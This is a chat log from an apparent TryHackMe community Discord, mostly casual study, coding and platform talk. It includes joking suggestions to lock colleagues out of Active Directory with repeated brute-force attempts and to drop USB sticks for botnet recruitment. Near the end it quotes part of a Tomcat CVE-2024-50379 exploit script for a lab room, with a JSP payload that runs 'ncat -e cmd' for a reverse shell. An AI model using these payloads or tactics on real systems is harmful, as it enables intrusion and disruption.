#general
1 messages ยท Page 1806 of 1
how are you hacking it?
haha i love it
There was a disagreement with someone earlier, so I am just helping them learn a lesson

๐คฃ
i hope its ethical hacking
I only ever mention hacking things that were done legally
As far as the other ones, they never happened or I wasn't even involved.
All my warhammer instincts are kicking in, are you about to comit heresy fellow techpriest?
I am not about to go into detail about how I plan on chopping up mr gobfloor but I can assure you that the pain suffered from such actions will in no way surpass the pain caused by this individual.
If you hack the necronomicon doesn't the doom slayer turn up?
Not when you have sworn loyalty to Satan and all of his minions.
you must verify captain to send pics
Also I can't promote you if you don't verify, not that I will yet, that remains to be seen
Only took me 140 days to finally verify haha
hello, im new to cybersecurity and in a lot of videos, they recommend to learn python, i do the path recommended by thm for starting but there is no python in it, should i do the python rooms also ? thanks
i dont code but from all the recommendations ive seen, its the most popular
python is a whole other course. there are courses on udemy and youtube
there are many things to learn in cyber, it takes years
but you start somewhere
learning some basic python would help
yeah iv seen that too
ok thanks
Gave +1 Rep to @dark wolf (current: #84 - 118)
What we cooking today chat?
just been messing around with some wifi stuff. hbu?
would you say just doing the penetration tester path enough for the pt1?
just doing some note taking
yes
they recommend doing it before you take the pt1
i've completed all the paths, very informative and handy to know.
After doing it I feel like either my retainment of the rooms are not enough or soemthing is missing
:/
You can always redo them to see if you remember
If I can do them without problems, and still want to do prepare better
any websites or places
I can test my knowledge
People, I need some advice on how to secure my accounts since my accounts had been comprimised a while back now i just lost my PSN acc and I worry my bank details will get leaked
Use a password manager with random generated passwords, use 2 factor auth wherever you can.
Use a different password for every site.
alright, but I worry bout my psn acc not cuz of games but my payment details and stuff, The support team is useless and is doing nothing
I change the passwords to the 400+ accounts i have every 6 hours just to be safe
What do you do for a living?
Change my password
isnt that enough to start ur heker journey and find the wicked man ?
Mannn i suck at hacking
wtf
I feel u
i had 100Gb of storage with 95% full.. after deleting emails with "forgot password" in it im at 2%
I need to get on top of all this type of stuff ibr
Funny guy
yoooooooooooo
Imagine if someone would do this in a smaller scale.
Move towards a passwordless state
I dont even know my T1/T0 passwords
you do not need to know somone's password to lock them out
no that is easy in an AD world
just the username. brute force it and they get locked out
then they freak and think someone is hacking them
sisi
so you wait a few weeks then do it again ... but randomly here and there
lol thats mean
Do that to colleuges
pure evil
I am evil
hahha good!
All one has to do is write 50BTCWALLET on a usb key
do you think someone will plug it in their home computer/
Give a complicated set of instructions on the autorun program that ends up having them leave a cookie and tracker trail to many places
lol
I am just reporting people for naughty things on USBs, did not think to look for wallets
Initially I am looking for things not supposed to be saved
First you have to get someone to plug the usb in
and that is easy to do if you make them think its worth 5 mil
We have logs off all content on USBs...
If I see something in logs I just ask them to plug it in, they will listen ๐
We have two seperate convos, saves time
got it
you need a bunch of strangers to build up your bot net
you just drop the usb disk somewhere in aparking lot
next to a NICE car
and maybe they pick it up
you usually don't talk about doing botnets, kids might get the wrong idea here
Sounds like my work
I mean, I'm just spitballing theory here
You have to know how hackers operate to stop them
If you copy them you are going to be in a place where you do not want to drop the soap
I see botnet infected androids every now and then in the reports
There could be tons we don't know about
Just imagine the crap prople download from github and run
i have an iphone ๐
im gonn play some vr poker and bet 10x the bb on every hand LOL
peace
this room is private, so we can't help you with it
ask the room creator for help ๐
what a beautiful day
to sit on my chair, write some code
and realise how much i hate myself
Does the black Friday discount apply on top of the student 20%?
I don't believe so
hi @marsh lark
Hi
Isn't that everyday?
mornin yall
no, generally i love my self
i think the world would be a better place if people were like me
except when i am coding
then how are you
i am foscused on my task
do not get distracted for long time
take care of cleaniness
exercise
almost no smoking
drinking happens once in a while
always learning new things
so everyone in this server who has mage+
i am foucsed on my tasks and take care of cleanliness excercise and i am not smoking and not drinking and always learning new things
and a few things which i wouldn't want people to copy, can't say here
basically
friendly
dunno
how friendly
ok skipped
@rapid merlin #rules number 8
lets make this small and yet so big world of ours a better place together
sorry
sorry i cancelled that
no worries, i had already rejected ๐
its ok what are you upto
right now?
yes
i was trying to convert my python written code to C lang
the code is aobut todays leetcode problem
which one?
int count = 0;
while (s[count] != '\0') {
count++;
}
count--;
while (count != 2) {
for (int i = 0; i < count -1; i++) {
s[i] = ((s[i]) + s[i+1]) %10;
}
count--;
}
return (s[0] == s[1]);
}```its almost done
if they have same digit after operations
ah
the problem is solved
right now, i am unable to convert the char to int
for the operation to be successful, rest all is done
just a sec
you could just have it as a string
@marsh lark you have any idea?
change the char* to a string (or just have it as a string originally)
i tried doing:
s[i] - '0'
that would only change the digit into an integer
there is a complicated way of doing it
but the simpliest way is:
string S(whatever_var_name_char*_is)
ohh i understood what i am doing wrong
int number = stoi(S)
because my code would make the string something like:
int/str/str/str
if you want to print it then you have to write the %d in the printf and in the place of that give the character
which is not good
but it will only work while printing
ah, then yeah
i dont want to print it
so you only want to change the characer into integer
should i just make a new array, store the values in that?
precisely
and then use it at that time
could you send me the problem, that might help me understand what the issue is
first remember that there is no string in c if you want to make a string then make the character string
yes send the problem we will help you
btw that is not c that is c++
i am writing code in C right now
you can change it
can't you do:
count = s.size()?
i had tried sizeof(s)/sizeof(s[0]) but this proboem
Gm
GM
nvmd, its a C++ thing I think, not a C
Hmm interesting, the character space, letter and word placement, } placement, almost as if u used ai to write this code 

lol
This is not AI
literally i just like to write code like this
i'd love to justify myself for this one
if you look at spaces such as for() {}
the space between for() and {}
leetcode doesn't automatically put that
but i like that space, so i put it myself everytime
anyways, moving on to the solution
ngl, if you look at my code, you'll say, "thats 100% not AI"
All folks who work in IT and I know that they code
They always put that space
Same to me, I'd never skip it
yea
Readability matters
Tbh now started to realise
That my RareScript (programming language I'm making) got syntax more like of C than JS ๐
code might be shit, if it looks good, you can always correct it
wow, you're making your own langauge
From experience:
I'd rather recode entire function than correct it
Used to
same
i plan to do compiler design this winter, maybe then i can also write my own language
oh so you play rust
And I have no idea how to make modules etc in my language without compiling them into rust
๐
Programming language silly
Mine is both
@marsh lark we can do count = strlen(s)
Compilable to assembly or executable
And supports running without compiling
(forgot how its named ๐ )
Issue is
It sometimes got different result
what we cooking today chat?
One thing might work on non compiled version
While on compiled it might not work cuz me forgot to add that thing
with strlen(s) case 1 is coming wrong and case2 is coming right the same problem again and again
Or just cuz it refuses to work for no reason
leetcode q3461
the answer is always coming to be false right
declan has left chat
yes the answer have to be false
is that a problem?
Hall is loud now
the quieter it is, the more you able to hear..
kali linux reference
..
And no sound of fans
the quiter you are, the more you can hear
sorry the first one have to be true and the second one have to be false
I love silence
I'm person who loves peace
But yes my neighbours are loud bruh
i like to stay alone in silence
but if not doing something productive it gets melancholy
have you solved
I like to sleep
Cuz nobody can hurt you
Well they could but realistically no
not in C, no
so are you still doing that
i dont like sleeping
Sleeping is amazing
yes
Specially in winter
it is good but only limited time
i dont like to sleep when i am bored or when i have nothing to do/bored
11-630
i sleep around 6-7 hours, no fixed time though
i also sleep 6-7 hours but not any fix time that when to sleep and when to not
@rapid merlin ```bool hasSameDigits(char* s) {
int count = strlen(s);
int arr[100] = {0};
for (int i = 0; i < count; i++){
arr[i] = s[i] - '0';
}
while (count > 2) {
for (int i = 0; i < count -1; i++) {
arr[i] = (arr[i] + arr[i+1]) %10;
}
count--;
}
return (arr[0] == arr[1]);
}```done
althought it takes 3ms ๐ญ
i tried so much and then i left that
bro
you say you tried so much
but you left it before me
so it wasn't that much after all
yes i left it before you but now i got there again and it solved
okok
btw you are good at c
oh, not at all
then what are you good at
there are so many things i dont know and keep forgetting
trying
so good to try everything
btw if you don't mind can i ask one question
ok
so can i ask
where are you from
in asia where are you from i asked about country not about continent so funny
china
its alright
so be friends
russia
btw i am not fully russian i moved to russia years ago and i also don't know fully russian i can write but cant speak
so lets learn together the russian
what you guess
๐ญ
Does anyone know how you interact with the "TryModerateMe" to make a message to moderators to report spam?
use /report user and the moderators will get that
/report user
or
/report message
ok ok, I did that but it said I was not allowed to use that command
have you verified your account
gotta make sure its not just the /report command. it needs user or message
it has to be from the TryModerateMe app, not YAG
Good morning everyone
mornin
How it's going?
good, u?
Also good, have an appointment today
mornin

did anyone try ghost of yotei?
Guy's what generative AI model you use for hacking
claude or chatgpt mostly
but those are for small stuff
Do you have pro / subscription
nope
i use claude or gpt aswell
Ai for hacking 
Actually one of my friend invited me for perplexity 1 year pro but don't know how to use cause it is same with more limit
i have pro on claude
I thought it was a tryhackme room for a sec LOL
Yes for making scripts
๐ ๐ ๐
not sure how perplexity helps instead of good google searching
I don't know much games lol
Do you guys need invitation of perplexity ?
I will soon
i have never used perplexity
Naa got 2 years from uni
It's good
no
claude has become my goto
Ok I have invitation link with 1 year pro
are you on ps?
i had it generate 3d models
Ya
don't send it here tho
and that worked like a charm
sad (im on pc)
Ok
that would probably be against the rules lol

I heard that my cousin's school gave my cousin gemini pro ๐คฃ
Ok if someone wants let me know I will get referal bonus ๐๐
because gemini was better than chatgpt
no thanks
Gave +1 Rep to @coarse steppe (current: #3229 - 1)
but you can ask one of the mods for permission to share it
Why bro
useless internet points
Like 3$ or something?
not sure any mods would agree to it tho lol
Yes
if you dont shoot you will always miss
true
Njoy
Ok I will not send it
gemini is probably better with korean stuff vs chatgpt than english stuff vs chatgpt
Its just so useless

Skill issue
it has its use cases
Clg gives gemini pro and copilot but i hvnt been able to use copilot as i dont use ms that much
Same hare i have both perplexity and gemini
Okay
So I have a ctf in 3 days
Which is open book
So to get an idea where should I start?
What kind of CTF?
Should I just go through picoctf walkthroughs and all to get an idea how to approach?
Web exploitation and maybe reverse engineering and stuff
Also forensics and cryptography (which I'm familiar with)
then i would study those subjects i guess, the ctf's i participated in were just exercises pretty much
guys i need ur help
whatsup
i'm doing cybersecurity and computing forensics in uni and kinda lost in what to focus on for my carrier
i'm doing IR module in thm currently but have no idea what to start after it finishes
Yep
Wassup guys
How are you doing ?
doing alright. u?
Doing okayish i guess ๐
Lmao
Hello, I hope you're doing well. I have a small problem with the lateral movement rooms. It's been 3 days now that I've been trying to do them, but I canโt connect to the network. Every time I try to ping the DC (THMDC), nothing happens. Iโve reset the network several times, but it still doesnโt work. Iโm using the AttackBox, by the way. Has anyone else had this problem before?
have you connected to the network through the attackbox?
That's what the message says so probably.
I meant this part:
Hey thank for your response. yes I am using the web-base attack box
did you follow the steps above for the attackbox (just to make sure)?
Hey at all ๐
Can anyone help me and recommend a good laptop for Linux?
I would be very happy about your support
linux can run on any laptop pretty much
what kind of things do u wanna do
gaming, programming
office work
vms
etc?
yes i can't ping the network with the attack box.
and you followed the dnsmasq steps above, correct?
I start by pinging the DC like i said , nothing happend i have 100 lost.
make sure to follow the steps above (running the command in the screenshot above and change the THMDCIP to the IP of THMDC in the network diagram at the top of the room) and let me know if it still doesn't work
i actually did all they said but it's does'nt work. I can even ping and yet they say "If you are using the Web-based AttackBox, you will be connected to the network automatically if you start the AttackBox from the room's page. You can verify this by running the ping command against the IP of the THMDC.za.tryhackme.com"
so, you configured DNS as well?
and tried to ping (ip might be different for you):
i do and try the nslookup command ... still doesn't work
nslookup won't work until you configure DNS, but for the ping problem, what is the exact command that you use?
i do configure dns boss
could you send me the exact commands that you used to:
- ping the THMDC
- configure DNS
- do nslookup
What I did: I started the network. Once it was up I started my AttackBox VM. Once started I tried to ping the THMDC address: ping 10.200.74.101 โ I got no reply. I retried several times but nothing. Then I ran this command:
sed -i '1s|^|nameserver 10.200.74.101\n|' /etc/resolv-dnsmasq
and I checked whether the command worked by looking at cat /etc/resolv-dnsmasq , the IP is present. I tried an nslookup but still nothing. I retried pings, still nothing, and this has been going on for 3 days. I have reset the AttackBox and the network several times.
I'll try it out on the attackbox soon and let you know what result I get
ok thank's
Hi chat, is there anyone here who has resources on individual CTF challenges?
which ctf challenge?

It's National Slap Your Annoying Coworker Day!
shame I work remotely
when's the next national slap the end-user day? gotta go to the office for that one
slap
haha my hands would fall off
Only today? 
What that ? Why you wanna talk to me tryhackme ๐ , i done these rooms 1 year ago
lmfao
Website is tweaking
Looking for some good CTF teams or players to connect and make new friends โ DM if you're interested!
God forbid a platform wants feedback to improve ๐

If you pay me a coffee we can discuss about feedback โ๏ธ
I thought thm got compromised and that email is sent with malicious intentions
Oh you did ?
welcome
@mossy river @gusty inlet congrats on getting 10000 trophies on Clash Royale
One day, I shall walk in your footsteps
Has jabba been alive for the last day?
yes lol
Hum
this is one message from Jabba 1 hour ago LOL
depends
altho I wouldn't just test it out
he's busy'
The thing is that says 5 months free but the discount is 3 months
When you go to pay you get 20% off
(less than 3 actually)
might be a bug
annual student discount is 20%
I don't think a bug would raise the months free tag
Sounds like a very convenient and specific bug
what do you mean?
with?
Also the pricing website is completely white for me when I access it through a phone, what's wrong with it
THM isn't made for mobile
desktop view on your phone?
Yes
still, it doesn't really work well on the phone, thats probably why
I mean I don't think it's a bug that shows a bigger discount than there actually is
I know but its weird
Sounds like they added JavaScript to make the page blank on phone
could you /verify and send a screenshot?
@woven brook
Yes let me get to my computer xd
they didn't purposefully do that lol
I want to believe it but I'm too skeptical to
I mean, cuz
they won't purposefully make it not work on mobile
its because the THM site isn't made for mobile
Yes but it going all blank
ONLY in the pricing site
And it actually renders something
And then everything goes white
THM Emaling about having a chat about learning pahts was a new thing
They should see how good I am to book meetings with partners and vendors
I'm super good at forgetting to follow up with them as well
Strange email with a fully booked calendar where you can't even change month
@marsh lark nevermind bruh it goes blank in desktop too
have you tried CTRL + F5?
might be a one-time bug or smth
yes, no luck
I just got the mail of the 15min chat from THM but no slot seems to be available
this had been happening for a while btw
yeah, then maybe slots were all filled up, sadly
it works for me
But i'm curious what was the outcome of it , and if they sent that mail randomly for all
๐คท
5 months
Oh girl math again ๐
its some sort of weird THM math
what
It is a thing on reddit
Okay thanks for the quick response ๐
When the math for 12 months normal price vs discount price does not add up too 5 months free
You posted the image, we did not mention it
no, its just some sort of math they kinda have, idk
me too lol
wut
you're making me doubt
I doubt the love
Me too
But if it says on internet people think its true
@woven brook If you are a student, its a good price
But ask yourself where the 5 months are
okay I see the 5 months now
Will you get 17 months? Will you get the discount equivalent too 5 months?
how do they check if I'm a student?
its already applied, thats it
That is the check
the check is that they do not check?
I believe you have to sign in with your student email
โ Are you student?
that too lol
serious
but they do check
if i'm using my normal mail
I lost my EDU email, I need to buy a new one
can I just tell them hey this is my student mail
Sure you can, there are tickets here
You want too tell them you are a student?
Pay in HK and save the VAT also
pay in hollow knight
@mossy river how do they check if someone is actually a student or not?
Set your occupation to Student in your profile
how's tatooine
is that.... it?
Maybe we could do trust-me@collage.edu;gyro@hotmale.com
THATS IT?
Yes
huh
so I dont have to be a student?
If you tell them you are, they trust you. This is a safe place
I need job
It was changed when the student discount was moved to only the yearly plan
ah, I see
Crazy checks for a cybersec site
Hacker protection:
-If you use this site you agree to not hack, thanks
-# Imma be honest, I wish there were stricter checks lol, but it is what it is
Do you want Manual checks? Send in a copy of acceptance letter, video chat
Like githubs student checks
no problemo
There's a sign on the wall, but she wants to be sure.
Cause you know sometimes words have two meanings.
is that a riddle?
In a tree by the brook, there's a songbird who sings
@dark wolf give her 5 dollars first and say nothing
Sometimes all o our thoughts are misgiven
I'm disappointed in you Math
noo
Ohhh, it makes me wonder
Ohhhhhhhh, makes me wonder
There;s a feeling I get when I look to the West
Hey, is there any problem with tryhackme right now. it seems i cant login. it goes to the 2FA page and coming back to the login page. anyone have the same ?
and my spirit is crying for leaving
Login again
You sound like @sand trench
i cant. it is coming back to the login page itself!
Ask it pretty please
In my thoughts I have seen rings of smoke through the trees
Someone asked about the same thing yesterday
And the voices of those who stand looking
Its up if you search 2FA
Still no Math?? What if I had started at the beginning
There's a lady who's sure all that glitters is gold ...
and she's buying a ...........
BINGO
Mamas mouse is not here
Nice to meet you.
is there anyone to collaborate with me?
@narrow yew
are you interested in me?
Well do you have any good books?
Client, sounds like you want payment
@dark wolf is pretty, he can pay
Or maybe its a she
who knows, its internet
what do you mean by client?
Donut!!! Someone posted hello 21 hours ago on reddit and no one said hi back, aren't you reddit ambassador?
@dark wolf Send them here, I will ask how their day is daily and ask how they are doing
tahts not really what I do lol
It is free to be kind, so asking how someones day is could a big thing
I shall not disclose
As an ambassador, youโll:
Share helpful insights in relevant subreddits,
Spark conversations around TryHackMe,
Help others discover useful resources and content,
I ask a bunch of friends and colleuge daily how their day was was or weekend.
If I don't ask nobody ask me back either.
But that is all good.
You don't have to disclose it, there is a post on it
I can't seem to find the post you are mentioning
I could never be.
I meant the post about someone saying hello
You just said how you liked being helpful math
well there is nothing specific about that, that is true
But I am glad to help users here prepare for interviews and map out the company
no, I meant
like could you send the link to the post where the person said hello and no one responded
But yesterday that backfired abit, Im glad I used torify
-# their account is deleted
Are there any issues with authentication on the main site?
they probably deleted it after a few hours of no one responding and moved to tibet to become aa monk
people have been experiencing these issues quite frequently these days
best to email THM about it
๐คฃ
Since AWS got hacked recently there have been issues
oh yeah, that
I keep forgetting that happened
youtube ad, why do you have to be so loud
Full disclosure: I don't know if they actually got hacked or what happened, but it's a lot more fun to just say they got hacked and if you say it enough people willl think it
don't make me go deaf
It was just AWS US 1?
they didn't
it was DNS
That is why you monitor DNS urls and ISP urls and dispatchers, CDN etc
If they forget to pay, snatch it ๐
hello guys
Anyone else get an email asking for a 15 minute chat about their experience on THM?
Ok, thanks for the heads up. Annoyingly I have some time to actually get back into the platform today, only to find that it is FUUUUBED
not yet, no
Gave +1 Rep to @marsh lark (current: #28 - 401)
Yeah, but I don't know what is in it for me. Sounds quite onesided.
I mean, they want feedback
what site doesn't want feedback
@marsh lark To bring the community together. I vote for worms tournament
I get what they want... ๐
nyo
Everyone old loved Worms
They need to learn about old games
They never want voice interaction feedback they only want forms filled out usually
Not many companies want to talk to their customers
Like I can give feedback but chances are my requests won't be answered either in the 15 minutes or in te product for 6 - 12 months... if at all. so I come back to, "What is in it for me".
imo, there isn't really anything THM can give you
its 15 minutes of just feedback
oh I know
Amazon Gift Card ๐ LOOOOOOL
you get better content
๐ You got it! ๐
Streak freeze
Interviewer: Thank you for taking the time to discuss with us what you thought about our PreSecurity Course. First question. How much experience do you have with IT before you started?
Me: Have you heard about our Lord and Saviour Jesus Christ?
๐คฃ๐คฃ๐คฃ๐คฃ๐คฃ๐คฃ๐คฃ๐คฃ๐คฃ
well hullo there
Good Morning Fomori
General ๐ซก
Tell them it started with Whoppix
That gives you extra points with anybody
Guys how much should I pay to open all rooms of red team?
With bananas
you need the premium sub
check out:
https://tryhackme.com/pricing
8 or 9 โฌ right?
I know i'm harping on this a bit, but it's because i'm a little nervous about the last interview - but i'm not sure i know how to write up these scenerios. like he didn't ask for a write up - i was asked "to come in prepared to discuss " but i feel like having a little write up with a color matrix maybe and remediation suggestions for each scenerio would be ok. i've abandoned the idea of running metasploitable3 to get screen grabs for a PoC because it isn't a fake pentest - i'm explain to clients why things are vulnerable and why they need to be patched/changed. so i figured more visuals than anything . matrices and graphics about information exchange
With the new Student discount it was 8 something?
uhh, not exactly sure
thats probably for annual
I am here to listen to your thougts
Here it says 10 but on my acc it says 8
Itโs same lol
2 euro diff
are you a student?
Yeh
yeah, thats why
student discount
20%
if you are not logged in, then it doesn't know you are a student and just shows normal price
8 euros is the discounted price for students on annual
Yup yup on my account it showed me 8โฌ lol thatโs great
Itโs so cheap for the amount of information that tryhackme gives
Banana Islands
altho, make remember that it is still annual
so, each year would be around 96 euros
I just don't know how to format it. we are using microsoft teams which im not super familiar with when it comes to screen sharing and such
i should over the top it and make a powerpoint with music and animatation
Wdym? So only this year itโs 8 next year itโs 98?
nonon no music
who gave me those matrices and explanaions yesterday?
no, so the metrics are
Tell me more what you have been tasked with and if/or you are just doing examples.
So I know how to respond
that you are paying each year the same ammount if you paid 8 euros a month
so annually, it is 96 euros
around
not with mp3.... it should be a website not power point. website that has midi playing in the background with flashing jpgs that come on and off and marquee banner scroll texting.
since 8 * 12 is 96
Then it comes to presenting reasons to patch you list all CVES that are plausable,
List vulns and have critical on the to
Oh yeh yeh I understand
Itโs okay
96 is still very cheap tho lol
ALWAYS patch CVE
Yeh the informations they give is very good and tbh I would say it deserves more money
I know right, they should charge more! *Except for Donut he should get it free
NYO
Fr but no I want it like this ๐
Iโm good

Is anyone facing trouble with logging in?
fixed it buddy
yeah, probably smth to do AWS being down a while back
yes
correct
yes, keep trying, clear cache and cookies and keep tryi
I think tryhackme woudl give me fundamentals of everything and Iโll learn from other platforms like YouTube then Iโll be good I think
well i mean * I * want to write it so i'd rather not give the details but its a list of 3 scenerios. 1 is an externa;l pentest debrief - explain how the attackers could exploit the services, what risks do the findings pose to the business, ask questions about the devices if necessary, recommend remediation - all pretty straight forward right. obviously ask questions about the devices first before you go into a whole spiel about they have to change it if its a necessary evil that needs patching or configuration change, etc.
but i just don't know the format inwhich to show the information
Oh. That east region was down. I thought it was resolved.
Sure but we need to help the guy to make his interview
Have you tried talking to GPT to get help with it?
if only it was, but this could be side effect
You need to provide a lot more context
GPT could help with that
it knows what employeers want, we don't
my winamp skins are fire
I am off for a while if you need to bounce ideas @calm briar send me DM. I will forget to read up the chat.
We can find some vulrns for the company maybe also ๐
thanks dude
I accidently helped another member yesterday and found file upload on the company
chatgpt had me spinning up metasploitable3 and taking screen shots for PoC
That is also good I guess if you have something setup with vulnhub or similar to show how metasploit works
yeah i have metasploit3 vm on the ready
i mean that was the original idea is make a fake report with all the screen grabs and icons and etc
i was using sysreptor with the htb template which has all the legal jargon and whatever - and comes out to like a 27 page report
What a dick
dude i argue with him all the time. i had to change his voice
i use it to help with another drone/iot project i've been doing - and was at a road block and i really thought it was my level of knowledge of the subject (which is limited) so i argue in voice with chatgpt for almost an hour and then we worked out how to make the python work lol
my little Igor
Hello
it won't be done until after winter now. i'm not hanging outside to do the tests.
I hate physics
Hru homie
physics is fun
Hi ๐
everything gets easier when you understand it
I think you don't need to understand everything to enjoy take music as an example
Physics is logical
Guys as I said Iโm beginner would tryhackme and some YouTube vids be enough for me to understand a little bit of what it really means to be a pentester
you let me know how it feels when you find out
Guys i'm gonna lock down and do the full PoC fake report for the next 3 hours and see where it gets me.
I'll holler
I'm doing this and it's not that simple - Tomcat: CVE-2024-50379
helllo women
Okay
are you calling us women?
hello, I an new here, what's the afk voice channel?
so like casual voice chat and stuff?
you can't talk in there
that would be general
So it is just for nothing I guess, should I join general if I just wanna talk?
yes
there is no one in general too ๐ฅน

true
Hello Man
I'm in a room, struggling with a payload I need to execute lol
metasploit?
I've did like Pre Security and Cyber Security 101 and yeah payloads do screw stuff up sometimes
I am at top 7% in THM, can anybody tell me if that is just a "good" thing or a "great" thing? ๐ค
Oh so cool, maybe one day I shall surpass you 
No, RCE with a payload on a Tomcat server
This room lol
Is that like a new room thing?
no
ok haven't done that yet, I am currently in the Web-fundamentals learning path
It keeps telling me file not found and I am not sure what I am doing wrong
Are ya being sarcastic or fo real? ๐คฃ
I haven't touched this room so can't guide ya about that, but maybe try looking at the filename, maybe you might be searching with an extra space or symbol or smth
I'm on the SOC path but decided to do something different after finishing a section of SOC1. My mind need stimulation, not the same boring thing due to ADHD
He is rank 0x1
and has been here for months
soooo
ok ma bad, I am new here all i knew was 0 day is the top G
Look at the sample size lol
There are close to 2 miillion people ranked
fr, I'm just a homeless janitor 
i am in the 119000s
What's funny, @tawdry crescent ?
I've got some sorta ADHD too but it is controllable and I usually channel that where I want it to
I didn't knew that, I thought I was a big guy being on the top 7% out of 5 mil+ people
I was top2 % after my inactivity of 1.5 yrs
Oh I beat you. It's 3 or 4 years for me
ok so apparently i have like 79 or 80 rooms done
Hehe
There are heeps of users that never log in again
I'll be sending mine here shortly...
I forgot my password 
And email used
I was top 1% after less than 90 dys
it says I'm top 10%, whatever that means
Now the users incresed so 1% is easier
what rate limit?
They have it now
i haven't been stopped by it yet
Ye
It is a new feature
Why was it. Needed
fature - new word from Maths
People cheat?
Your gut is a bit fature
Ok I'm going back to look at that file. Although I do have a question regarding the payload
nice
Thanks
Noice
really noice
Because I get in to a freeze every other day and solving it and nothing the day after. No progress
Part of the payload code:
protocols = ['http://', 'https://']
found_vulnerabilities = False
for protocol in protocols:
*** target_url = urljoin(protocol + url.lstrip('http://').lstrip('https://'), "/")
print(f"Checking {10.10.77.42}...")***
target_url_put1 = urljoin(target_url, "/aa.Jsp")
target_url_put2 = urljoin(target_url, "/bb.Jsp")
target_url_get1 = urljoin(target_url, "/aa.jsp")
target_url_get2 = urljoin(target_url, "/bb.jsp")
headers1 = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2>
"Content-Type": "application/json"
}
headers2 = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2>
}
payload_put = "aa<% Runtime.getRuntime().exec(\"calc.exe\");%>"
payload_put = "<%@ page import=\"java.io.*\" %><% Runtime.getRuntime().exec(\"cmd /c start ncat -e cmd.>```
My question is about the text in italics - is it the target machine or the attack machine's IP?
IP looks like target
it says target_url so it must be it
Ok well I tried to execute it using python3 as per instructions on the page and it says I cannot open the file. I tried chmod x+ the file name but says the same thing
It's on the attack box
what is the error message?
Did you change the IP?
Yes
close, very close.
see it looks for another py
Well I am aiming for PT1 so that's why i do carre about it
RCE shouldn't be captial (at the end of the filename)
Wow
Winner winner chicken dinner
i have a longer streak lol
Can you explain why?
thats how its saved on your machine
size doesn't-... oh wait nevermind
cool
๐
You can not run a file with typo
Kali will not allow it
FFS thanks for telling me, I looked again and see my mistake lol.
Gave +1 Rep to @whole rapids (current: #962 - 6)
what's this?
Points to get in to heaven
Damn, I need more then
If I find target_url in the file, I should replace that with the target machine's ip, right?
it says URL
so room might want you to create a hosts file entry or add http://
target_url could be a referennce also in the code
Ok thanks @narrow yew
Gave +1 Rep to @narrow yew (current: #352 - 22)
do you run it with valakry.py IP?
why does it say chiecking IP and IP is not added anywhere else?
